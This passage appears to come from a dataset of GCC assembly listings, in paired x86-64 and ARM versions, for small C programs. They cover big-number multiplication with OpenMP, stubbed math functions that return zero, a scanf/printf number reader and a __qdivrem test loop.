.L48:
ldr r3, [fp, #-96]
ldr r2, [fp, #-156]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L91+16
bl printf
ldr r3, [fp, #-156]
sub r3, r3, #1
str r3, [fp, #-156]
.L47:
ldr r3, [fp, #-156]
cmp r3, #0
bge .L48
ldr r0, .L91+20
bl puts
mov r0, #0
bl omp_set_dynamic
mov r0, #4
bl omp_set_num_threads
ldr r3, [fp, #-112]
lsl ip, r3, #2
mov r3, sp
mov r8, r3
sub r3, ip, #1
str r3, [fp, #-60]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-56]
ldr ip, [fp, #-112]
sub r3, ip, #1
str r3, [fp, #-52]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-48]
bl omp_get_num_threads
str r0, [fp, #-44]
mov r3, #0
str r3, [fp, #-160]
b .L49
.L50:
ldr r3, [fp, #-56]
ldr r2, [fp, #-160]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-64]
ldr r2, [fp, #-160]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-160]
add r3, r3, #1
str r3, [fp, #-160]
.L49:
ldr r3, [fp, #-112]
ldr r2, [fp, #-44]
mul r3, r2, r3
ldr r2, [fp, #-160]
cmp r2, r3
blt .L50
bl omp_get_thread_num
str r0, [fp, #-40]
ldr r3, [fp, #-40]
str r3, [fp, #-160]
b .L51
.L76:
ldr r3, [fp, #-104]
ldr r2, [fp, #-160]
ldr r3, [r3, r2, lsl #2]
str r3, [fp, #-36]
ldr r3, [fp, #-40]
cmp r3, #0
bne .L52
ldr r3, [fp, #-36]
ldr r2, [fp, #-160]
ldr r1, [fp, #-40]
ldr r0, .L91+36
bl printf
ldr r0, .L91+40
bl printf
ldr r3, [fp, #-112]
sub r3, r3, #1
str r3, [fp, #-176]
b .L53
.L54:
ldr r3, [fp, #-48]
ldr r2, [fp, #-176]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L91+16
bl printf
ldr r3, [fp, #-176]
sub r3, r3, #1
str r3, [fp, #-176]
.L53:
ldr r3, [fp, #-176]
cmp r3, #0
bge .L54
ldr r0, .L91+20
bl puts
.L52:
mov r3, #0
str r3, [fp, #-164]
mov r3, #0
str r3, [fp, #-168]
b .L55
.L59:
ldr r3, [fp, #-96]
ldr r2, [fp, #-168]
ldr r3, [r3, r2, lsl #2]
ldr r2, [fp, #-36]
mul r1, r2, r3
ldr r3, [fp, #-48]
ldr r2, [fp, #-168]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-40]
cmp r3, #0
bne .L56
ldr r3, [fp, #-48]
ldr r2, [fp, #-168]
ldr r1, [r3, r2, lsl #2]
ldr r3, [fp, #-96]
ldr r2, [fp, #-168]
ldr r3, [r3, r2, lsl #2]
ldr r2, [fp, #-36]
ldr r0, .L91+44
bl printf
.L56:
ldr r3, [fp, #-48]
ldr r2, [fp, #-168]
ldr r2, [r3, r2, lsl #2]
ldr r3, [fp, #-164]
add r1, r2, r3
ldr r3, [fp, #-48]
ldr r2, [fp, #-168]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-48]
ldr r2, [fp, #-168]
ldr r3, [r3, r2, lsl #2]
cmp r3, #9
ble .L57
ldr r3, [fp, #-48]
ldr r2, [fp, #-168]
ldr r3, [r3, r2, lsl #2]
ldr r2, .L91+48
smull r1, r2, r3, r2
asr r2, r2, #2
asr r3, r3, #31
sub r3, r2, r3
str r3, [fp, #-164]
ldr r3, [fp, #-48]
ldr r2, [fp, #-168]
ldr r1, [r3, r2, lsl #2]
ldr r3, .L91+48
smull r2, r3, r1, r3
asr r2, r3, #2
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #1
sub r2, r1, r3
ldr r3, [fp, #-48]
ldr r1, [fp, #-168]
str r2, [r3, r1, lsl #2]
b .L58
.L57:
mov r3, #0
str r3, [fp, #-164]
.L58:
ldr r3, [fp, #-168]
add r3, r3, #1
str r3, [fp, #-168]
.L55:
ldr r2, [fp, #-168]
ldr r3, [fp, #-112]
cmp r2, r3
blt .L59
ldr r3, [fp, #-164]
cmp r3, #0
beq .L60
ldr r0, .L91+52
bl puts
.L60:
ldr r3, [fp, #-40]
cmp r3, #0
bne .L61
ldr r3, [fp, #-36]
ldr r2, [fp, #-160]
ldr r1, [fp, #-40]
ldr r0, .L91+36
bl printf
ldr r0, .L91+56
bl printf
ldr r3, [fp, #-112]
sub r3, r3, #1
str r3, [fp, #-180]
b .L62
.L63:
ldr r3, [fp, #-48]
ldr r2, [fp, #-180]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L91+16
bl printf
ldr r3, [fp, #-180]
sub r3, r3, #1
str r3, [fp, #-180]
.L62:
ldr r3, [fp, #-180]
cmp r3, #0
bge .L63
ldr r0, .L91+20
bl puts
.L61:
ldr r3, [fp, #-112]
sub r3, r3, #1
str r3, [fp, #-168]
b .L64
.L65:
ldr r2, [fp, #-168]
ldr r3, [fp, #-160]
sub r2, r2, r3
ldr r3, [fp, #-48]
ldr r1, [r3, r2, lsl #2]
ldr r3, [fp, #-48]
ldr r2, [fp, #-168]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-168]
sub r3, r3, #1
str r3, [fp, #-168]
.L64:
ldr r2, [fp, #-168]
ldr r3, [fp, #-160]
cmp r2, r3
bge .L65
b .L66
.L67:
ldr r3, [fp, #-168]
sub r2, r3, #1
str r2, [fp, #-168]
ldr r2, [fp, #-48]
mov r1, #0
str r1, [r2, r3, lsl #2]
.L66:
ldr r3, [fp, #-168]
cmp r3, #0
bge .L67
ldr r3, [fp, #-40]
cmp r3, #0
bne .L68
ldr r3, [fp, #-36]
ldr r2, [fp, #-160]
ldr r1, [fp, #-40]
ldr r0, .L91+36
bl printf
ldr r0, .L91+60
bl printf
ldr r3, [fp, #-112]
sub r3, r3, #1
str r3, [fp, #-184]
b .L69
.L70:
ldr r3, [fp, #-48]
ldr r2, [fp, #-184]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L91+16
bl printf
ldr r3, [fp, #-184]
sub r3, r3, #1
str r3, [fp, #-184]
.L69:
ldr r3, [fp, #-184]
cmp r3, #0
bge .L70
ldr r0, .L91+20
bl puts
.L68:
mov r3, #0
str r3, [fp, #-164]
mov r3, #0
str r3, [fp, #-172]
mov r3, #0
str r3, [fp, #-168]
b .L71
.L74:
ldr r3, [fp, #-40]
ldr r2, [fp, #-112]
mul r2, r3, r2
ldr r3, [fp, #-168]
add r2, r2, r3
ldr r3, [fp, #-56]
ldr r2, [r3, r2, lsl #2]
ldr r3, [fp, #-48]
ldr r1, [fp, #-168]
ldr r3, [r3, r1, lsl #2]
add r3, r2, r3
ldr r2, [fp, #-164]
add r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-172]
cmp r3, #9
ble .L72
mov r3, #1
str r3, [fp, #-164]
ldr r3, [fp, #-172]
sub r3, r3, #10
str r3, [fp, #-172]
b .L73
.L72:
mov r3, #0
str r3, [fp, #-164]
.L73:
ldr r3, [fp, #-40]
ldr r2, [fp, #-112]
mul r2, r3, r2
ldr r3, [fp, #-168]
add r2, r2, r3
ldr r3, [fp, #-56]
ldr r1, [fp, #-172]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-168]
add r3, r3, #1
str r3, [fp, #-168]
.L71:
ldr r2, [fp, #-168]
ldr r3, [fp, #-112]
cmp r2, r3
blt .L74
ldr r3, [fp, #-164]
cmp r3, #0
beq .L75
ldr r0, .L91+64
bl puts
.L75:
ldr r2, [fp, #-160]
ldr r3, [fp, #-44]
add r3, r2, r3
str r3, [fp, #-160]
.L51:
ldr r2, [fp, #-160]
ldr r3, [fp, #-112]
cmp r2, r3
blt .L76
ldr r3, [fp, #-40]
cmp r3, #0
bne .L77
ldr r0, .L91+68
bl printf
ldr r3, [fp, #-112]
ldr r2, [fp, #-44]
mul r3, r2, r3
sub r3, r3, #1
str r3, [fp, #-188]
b .L78
.L79:
ldr r3, [fp, #-56]
ldr r2, [fp, #-188]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L91+16
bl printf
ldr r3, [fp, #-188]
sub r3, r3, #1
str r3, [fp, #-188]
.L78:
ldr r3, [fp, #-188]
cmp r3, #0
bge .L79
ldr r0, .L91+20
bl puts
mov r3, #0
str r3, [fp, #-192]
b .L80
.L86:
mov r3, #0
str r3, [fp, #-164]
mov r3, #0
str r3, [fp, #-172]
mov r3, #0
str r3, [fp, #-168]
b .L81
.L84:
ldr r3, [fp, #-64]
ldr r2, [fp, #-168]
ldr r2, [r3, r2, lsl #2]
ldr r3, [fp, #-192]
ldr r1, [fp, #-112]
mul r1, r3, r1
ldr r3, [fp, #-168]
add r1, r1, r3
ldr r3, [fp, #-56]
ldr r3, [r3, r1, lsl #2]
add r3, r2, r3
ldr r2, [fp, #-164]
add r3, r2, r3
str r3, [fp, #-172]
ldr r3, [fp, #-172]
cmp r3, #9
ble .L82
mov r3, #1
str r3, [fp, #-164]
ldr r3, [fp, #-172]
sub r3, r3, #10
str r3, [fp, #-172]
b .L83
.L82:
mov r3, #0
str r3, [fp, #-164]
.L83:
ldr r3, [fp, #-64]
ldr r2, [fp, #-168]
ldr r1, [fp, #-172]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-168]
add r3, r3, #1
str r3, [fp, #-168]
.L81:
ldr r2, [fp, #-168]
ldr r3, [fp, #-112]
cmp r2, r3
blt .L84
ldr r3, [fp, #-164]
cmp r3, #0
beq .L85
ldr r0, .L91+64
bl puts
.L85:
ldr r3, [fp, #-192]
add r3, r3, #1
str r3, [fp, #-192]
.L80:
ldr r2, [fp, #-192]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L86
ldr r0, .L91+72
bl printf
ldr r3, [fp, #-112]
sub r3, r3, #1
str r3, [fp, #-196]
b .L87
.L88:
ldr r3, [fp, #-64]
ldr r2, [fp, #-196]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L91+16
bl printf
ldr r3, [fp, #-196]
sub r3, r3, #1
str r3, [fp, #-196]
.L87:
ldr r3, [fp, #-196]
cmp r3, #0
bge .L88
ldr r0, .L91+20
bl puts
.L77:
mov sp, r8
mov sp, r7
mov sp, r6
mov sp, r5
mov sp, r4
mov r3, #0
ldr r2, .L91
ldr r1, [r2]
ldr r2, [fp, #-32]
eors r1, r2, r1
mov r2, #0
beq .L90
bl __stack_chk_fail
.L90:
mov r0, r3
sub sp, fp, #24
@ sp needed
pop {r4, r5, r6, r7, r8, fp, pc}
.L92:
.align 2
.L91:
.word .LC18
.word .LC3
.word .LC4
.word .LC5
.word .LC6
.word .LC7
.word .LC8
.word .LC9
.word .LC10
.word .LC11
.word .LC12
.word .LC13
.word 1717986919
.word .LC1
.word .LC14
.word .LC15
.word .LC0
.word .LC16
.word .LC17
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "124799.c"
.intel_syntax noprefix
.text
.globl pow
.type pow, @function
pow:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -8[rbp], xmm0
movsd QWORD PTR -16[rbp], xmm1
pxor xmm0, xmm0
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size pow, .-pow
.globl sqrt
.type sqrt, @function
sqrt:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size sqrt, .-sqrt
.globl floor
.type floor, @function
floor:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size floor, .-floor
.globl ceil
.type ceil, @function
ceil:
.LFB3:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE3:
.size ceil, .-ceil
.globl atan
.type atan, @function
atan:
.LFB4:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE4:
.size atan, .-atan
.globl acos
.type acos, @function
acos:
.LFB5:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE5:
.size acos, .-acos
.globl asin
.type asin, @function
asin:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size asin, .-asin
.globl tan
.type tan, @function
tan:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size tan, .-tan
.globl cos
.type cos, @function
cos:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size cos, .-cos
.globl sin
.type sin, @function
sin:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -8[rbp], xmm0
pxor xmm0, xmm0
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size sin, .-sin
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "124799.c"
.text
.align 2
.global pow
.syntax unified
.arm
.fpu softvfp
.type pow, %function
pow:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-12]
str r1, [fp, #-8]
str r2, [fp, #-20]
str r3, [fp, #-16]
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size pow, .-pow
.align 2
.global sqrt
.syntax unified
.arm
.fpu softvfp
.type sqrt, %function
sqrt:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-12]
str r1, [fp, #-8]
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size sqrt, .-sqrt
.align 2
.global floor
.syntax unified
.arm
.fpu softvfp
.type floor, %function
floor:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-12]
str r1, [fp, #-8]
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size floor, .-floor
.align 2
.global ceil
.syntax unified
.arm
.fpu softvfp
.type ceil, %function
ceil:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-12]
str r1, [fp, #-8]
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size ceil, .-ceil
.align 2
.global atan
.syntax unified
.arm
.fpu softvfp
.type atan, %function
atan:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-12]
str r1, [fp, #-8]
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size atan, .-atan
.align 2
.global acos
.syntax unified
.arm
.fpu softvfp
.type acos, %function
acos:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-12]
str r1, [fp, #-8]
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size acos, .-acos
.align 2
.global asin
.syntax unified
.arm
.fpu softvfp
.type asin, %function
asin:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-12]
str r1, [fp, #-8]
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size asin, .-asin
.align 2
.global tan
.syntax unified
.arm
.fpu softvfp
.type tan, %function
tan:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-12]
str r1, [fp, #-8]
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size tan, .-tan
.align 2
.global cos
.syntax unified
.arm
.fpu softvfp
.type cos, %function
cos:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-12]
str r1, [fp, #-8]
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size cos, .-cos
.align 2
.global sin
.syntax unified
.arm
.fpu softvfp
.type sin, %function
sin:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-12]
str r1, [fp, #-8]
mov r2, #0
mov r3, #0
mov r0, r2
mov r1, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size sin, .-sin
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "844118.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Enter a number: "
.LC1:
.string "%f"
.LC2:
.string "Enter another number: "
.LC3:
.string "%lf"
.LC4:
.string "num1 = %f\n"
.LC5:
.string "num2 = %lf"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC3[rip]
mov eax, 0
call __isoc99_scanf@PLT
movss xmm0, DWORD PTR -20[rbp]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movq rax, xmm1
movq xmm0, rax
lea rdi, .LC4[rip]
mov eax, 1
call printf@PLT
mov rax, QWORD PTR -16[rbp]
movq xmm0, rax
lea rdi, .LC5[rip]
mov eax, 1
call printf@PLT
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "844118.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Enter a number: \000"
.align 2
.LC1:
.ascii "%f\000"
.align 2
.LC2:
.ascii "Enter another number: \000"
.align 2
.LC3:
.ascii "%lf\000"
.global __aeabi_f2d
.align 2
.LC4:
.ascii "num1 = %f\012\000"
.align 2
.LC5:
.ascii "num2 = %lf\000"
.align 2
.LC6:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L4+4
bl printf
sub r3, fp, #24
mov r1, r3
ldr r0, .L4+8
bl __isoc99_scanf
ldr r0, .L4+12
bl printf
sub r3, fp, #20
mov r1, r3
ldr r0, .L4+16
bl __isoc99_scanf
ldr r3, [fp, #-24] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L4+20
bl printf
sub r3, fp, #20
ldmia r3, {r2-r3}
ldr r0, .L4+24
bl printf
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC6
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.word .LC5
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "845290.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "> "
.LC1:
.string "%lu:%lu %lu:%lu"
.LC2:
.string "0x%lx:%lx 0x%lx:%lx"
.LC3:
.string "eh?"
.align 8
.LC4:
.string "%lx:%lx /%% %lx:%lx => q=%lx:%lx r=%lx:%lx\n"
.align 8
.LC5:
.string " = %lX%08lX / %lX%08lX => %lX%08lX\n = %lX%08lX %% %lX%08lX => %lX%08lX\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r13
push r12
push rbx
sub rsp, 392
.cfi_offset 13, -24
.cfi_offset 12, -32
.cfi_offset 3, -40
mov rax, QWORD PTR fs:40
mov QWORD PTR -40[rbp], rax
xor eax, eax
.L6:
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rdx, QWORD PTR stdin[rip]
lea rax, -352[rbp]
mov esi, 300
mov rdi, rax
call fgets@PLT
test rax, rax
je .L9
lea rax, -400[rbp]
lea rdi, 8[rax]
lea rsi, -400[rbp]
lea rax, -416[rbp]
lea rcx, 8[rax]
lea rdx, -416[rbp]
lea rax, -352[rbp]
mov r9, rdi
mov r8, rsi
lea rsi, .LC1[rip]
mov rdi, rax
mov eax, 0
call __isoc99_sscanf@PLT
cmp eax, 4
je .L4
lea rax, -400[rbp]
lea rdi, 8[rax]
lea rsi, -400[rbp]
lea rax, -416[rbp]
lea rcx, 8[rax]
lea rdx, -416[rbp]
lea rax, -352[rbp]
mov r9, rdi
mov r8, rsi
lea rsi, .LC2[rip]
mov rdi, rax
mov eax, 0
call __isoc99_sscanf@PLT
cmp eax, 4
je .L4
lea rdi, .LC3[rip]
call puts@PLT
jmp .L5
.L4:
mov rax, QWORD PTR -400[rbp]
mov rsi, rax
mov rax, QWORD PTR -416[rbp]
mov rcx, rax
lea rax, -368[rbp]
mov rdx, rax
mov rdi, rcx
call __qdivrem@PLT
mov QWORD PTR -384[rbp], rax
mov r8, QWORD PTR -360[rbp]
mov rdi, QWORD PTR -368[rbp]
mov rsi, QWORD PTR -376[rbp]
mov r9, QWORD PTR -384[rbp]
mov r10, QWORD PTR -392[rbp]
mov rcx, QWORD PTR -400[rbp]
mov rdx, QWORD PTR -408[rbp]
mov rax, QWORD PTR -416[rbp]
sub rsp, 8
push r8
push rdi
push rsi
mov r8, r10
mov rsi, rax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
add rsp, 32
mov rbx, QWORD PTR -360[rbp]
mov r11, QWORD PTR -368[rbp]
mov r10, QWORD PTR -392[rbp]
mov r9, QWORD PTR -400[rbp]
mov r8, QWORD PTR -408[rbp]
mov rdi, QWORD PTR -416[rbp]
mov rsi, QWORD PTR -376[rbp]
mov r13, QWORD PTR -384[rbp]
mov r12, QWORD PTR -392[rbp]
mov rcx, QWORD PTR -400[rbp]
mov rdx, QWORD PTR -408[rbp]
mov rax, QWORD PTR -416[rbp]
sub rsp, 8
push rbx
push r11
push r10
push r9
push r8
push rdi
push rsi
mov r9, r13
mov r8, r12
mov rsi, rax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
add rsp, 64
.L5:
jmp .L6
.L9:
nop
mov edi, 0
call exit@PLT
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "845290.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "> \000"
.align 2
.LC1:
.ascii "%lu:%lu %lu:%lu\000"
.align 2
.LC2:
.ascii "0x%lx:%lx 0x%lx:%lx\000"
.align 2
.LC3:
